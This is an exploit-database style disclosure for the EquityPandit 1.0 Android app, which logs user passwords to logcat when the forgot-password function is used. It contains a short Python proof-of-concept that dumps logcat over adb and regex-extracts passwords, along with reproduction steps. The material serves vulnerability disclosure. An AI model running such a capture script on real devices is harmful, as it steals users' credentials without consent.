EquityPandit 1.0 - Password Disclosure

2019-05-28 13:05:05

#Exploit title: EquityPandit v1.0 - Insecure Logging
#Date:27/05/2019
#Exploit Author: ManhNho
#Software name: "EquityPandit"
#Software link: https://play.google.com/store/apps/details?id=com.yieldnotion.equitypandit
#Version: 1.0
# Category: Android apps
#Description:

- Sometimes developers keeps sensitive data logged into the developer
console. Thus, attacker easy to capture sensitive information like password.
- In this application, with adb, attacker can capture password of any
users via forgot password function.

#Requirement:

- Santoku virtual machine
- Android virtual machine (installed "EquityPandit" apk file)
- Victim user/password: [email protected]/123456
- Exploit code named capture.py in Santoku vm as below:

import subprocess
import re

process_handler = subprocess.Popen(['adb', 'logcat', '-d'],
stdout=subprocess.PIPE)
dumps = process_handler.stdout.read()
password_list = re.findall(r'password\s(.*)', dumps)
print 'Captured %i passwords! \nThey are:' %len(password_list)
for index, item in enumerate(password_list):
print '\t#%i: %s' %(int(index)+1, item)

#Reproduce:

- Step 1: From Santoku, use adb to connect to Android machine (x.x.x.x)

adb connect x.x.x.x


- Step 2: From Android machine, open EquityPandit, click forgot password
function for acccount "[email protected]" and then click submit
- Step 3: From Santoku, execute capture.py
- Actual: Password of "[email protected]" will be show in terminal as
"123456"

#Demo:

https://github.com/ManhNho/Practical-Android-Penetration-Testing/blob/master/Images/Equitypandit PoC.wmv

Fixes

No fixes

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